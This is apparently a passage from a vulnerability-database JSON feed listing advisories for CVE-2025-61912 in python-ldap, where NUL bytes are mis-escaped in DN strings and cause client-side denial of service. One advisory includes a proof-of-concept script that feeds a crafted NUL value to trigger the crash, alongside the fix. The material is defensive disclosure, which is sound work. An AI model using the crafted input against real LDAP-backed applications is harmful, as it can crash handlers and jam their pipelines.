versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)","status":"published","published":"2026-01-30T11:10:16Z","modified":"2026-08-18T01:19:30.399006409Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:45.339366Z"},{"id":"PYSEC-2026-1846","title":"python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","description":"### Summary\n\n\n`ldap.dn.escape_dn_chars()` escapes `\\x00` incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form `\\00`. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.\n\n\n\n### Details\n\n\n\nAffected function: `ldap.dn.escape_dn_chars(s)`\n\nFile: Lib/ldap/dn.py\n\nBuggy behavior:\nFor NUL, the function does:\n\n`s = s.replace('\\000', '\\\\\\000')  # backslash + literal NUL`\n\nThis produces Python strings which, when passed to python-ldap APIs (e.g., `add_s`, `modify_s`, r`ename_s`, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.\nWith correct RFC-4514 encoding (`\\00`), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.\n\nWhy it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.\n\nStandards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.\n\nMinimal fix: Escape NUL as hex:\n\n`s = s.replace('\\x00', r'\\00')`\n\n\n\n### PoC\n\nPrereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.\n\n```import ldap\nfrom ldap.dn import escape_dn_chars, str2dn\n\nl = ldap.initialize(\"ldap://10.0.1.11\")              # your lab DC/LDAP\nl.protocol_version = 3\nl.set_option(ldap.OPT_REFERRALS, 0)\nl.simple_bind_s(r\"DSEC\\dani.aga\", \"PassAa1\")         \n\n# --- Attacker-controlled value contains NUL ---\ncn = \"bad\\0name\"\nescaped_cn = escape_dn_chars(cn)\ndn = f\"CN={escaped_cn},OU=Users,DC=dsec,DC=local\"\nattrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]\n\nprint(\"=== BUGGY DN (contains literal NUL) ===\")\nprint(\"escaped_cn repr:\", repr(escaped_cn))\nprint(\"dn repr:\", repr(dn))\nprint(\"contains NUL?:\", \"\\x00\" in dn, \"at index:\", dn.find(\"\\x00\"))\n\nprint(\"=\u003e add_s(buggy DN): expected client-side failure (no server contact)\")\ntry:\n    l.add_s(dn, attrs)\n    print(\"add_s(buggy): succeeded (unexpected)\")\nexcept Exception as e:\n    print(\"add_s(buggy):\", type(e).__name__, e)  # ValueError: embedded null character\n\n# --- Correct hex escape demonstrates the client proceeds to the server ---\nsafe_dn = dn.replace(\"\\x00\", r\"\\00\")                 # RFC 4514-compliant\nprint(\"\\n=== HEX-ESCAPED DN (\\\\00) ===\")\nprint(\"safe_dn repr:\", repr(safe_dn))\nprint(\"=\u003e sanity parse:\", str2dn(safe_dn))           # parses locally\n\nprint(\"=\u003e add_s(safe DN): reaches server (AD will likely reject with 34)\")\ntry:\n    l.add_s(safe_dn, attrs)\n    print(\"add_s(safe): success (unlikely without required attrs/rights)\")\nexcept ldap.LDAPError as e:\n    print(\"add_s(safe):\", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)\n```\n\nObserved result (example):\n\n`add_s(buggy): ValueError embedded null character` ← client-side DoS\n\n`add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)` ← request reached server; rejection due to server policy, not client bug\n\n\n### Impact\n\nType: Denial of Service (client-side).\n\nWho is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user `creation/rename tools`, `sync/ETL jobs`, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with `\\x00` reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.","status":"published","published":"2026-07-07T16:03:07.47235Z","modified":"2026-07-07T17:47:51.792721896Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T15:52:55.06457Z"},{"id":"UBUNTU-CVE-2025-61912","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","status":"published","published":"2025-10-10T22:15:00Z","modified":"2026-02-04T17:01:13.021077Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T16:55:50.817402Z"},{"id":"AZL-68433","title":"CVE-2025-61912 affecting package python-ldap 3.4.4-1","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","status":"published","published":"2025-10-10T22:15:37Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:23.994498Z"},{"id":"AZL-68454","title":"CVE-2025-61912 affecting package python-ldap 3.4.0-1","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","status":"published","published":"2025-10-10T22:15:37Z","modified":"2026-04-21T04:38:24.901191Z","updated_at":"2026-11-02T15:28:08.630357Z"},{"id":"openSUSE-SU-2025:15637-1","title":"python311-ldap-3.4.5-1.1 on GA media","description":"These are all security issues fixed in the python311-ldap-3.4.5-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-10-15T00:00:00Z","modified":"2026-03-23T04:54:02.22075Z","updated_at":"2026-11-02T16:58:37.810934Z"},{"id":"openSUSE-SU-2026:20421-1","title":"Security update for python-ldap","description":"This update for python-ldap fixes the following issues:\n\n- CVE-2025-61911: Enforce str for escape_filter_chars (bsc#1251912).\n- CVE-2025-61912: Escape NULs as per RFC 4514 in escape_dn_chars (bsc#1251913).\n","status":"published","published":"2026-03-25T10:40:32Z","modified":"2026-03-29T17:26:37.696599Z","updated_at":"2026-11-02T16:58:41.463445Z"},{"id":"SUSE-SU-2025:3695-1","title":"Security update for python-ldap","description":"This update for python-ldap fixes the following issues:\n\n- CVE-2025-61911: Enforce str for escape_filter_chars (bsc#1251912).\n- CVE-2025-61912: Escape NULs as per RFC 4514 in escape_dn_chars (bsc#1251913).\n","status":"published","published":"2025-10-21T06:18:00Z","modified":"2026-02-04T03:07:43.336993Z","updated_at":"2026-11-02T15:54:00.344164Z"},{"id":"SUSE-SU-2025:3714-1","title":"Security update for python-ldap","description":"This update for python-ldap fixes the following issues:\n\n- CVE-2025-61911: Enforce str for escape_filter_chars (bsc#1251912).\n- CVE-2025-61912: Escape NULs as per RFC 4514 in escape_dn_chars (bsc#1251913).\n","status":"published","published":"2025-10-22T07:10:58Z","modified":"2026-02-04T03:48:02.183252Z","updated_at":"2026-11-02T15:54:00.344164Z"},{"id":"SUSE-SU-2026:20933-1","title":"Security update for python-ldap","description":"This update for python-ldap fixes the following issues:\n\n- CVE-2025-61911: Enforce str for escape_filter_chars (bsc#1251912).\n- CVE-2025-61912: Escape NULs as per RFC 4514 in escape_dn_chars (bsc#1251913).\n","status":"published","published":"2026-03-25T10:48:13Z","modified":"2026-04-02T17:24:47.759316Z","updated_at":"2026-11-02T15:54:01.953589Z"},{"id":"USN-7828-1","title":"python-ldap vulnerabilities","description":"It was discovered that Python LDAP incorrectly handled special characters\nin the special character filtering function. A remote attacker could\npossibly use this issue to perform LDAP injection attacks.\n(CVE-2025-61911)\n\nArad Inbar discovered that Python LDAP incorrectly escaped NUL character\nbytes. An attacker could possibly use this issue to cause a denial of\nservice. (CVE-2025-61912)","status":"published","published":"2025-10-20T12:41:40Z","modified":"2026-06-25T13:32:31.198505469Z","updated_at":"2026-11-02T16:58:21.91885Z"}]}}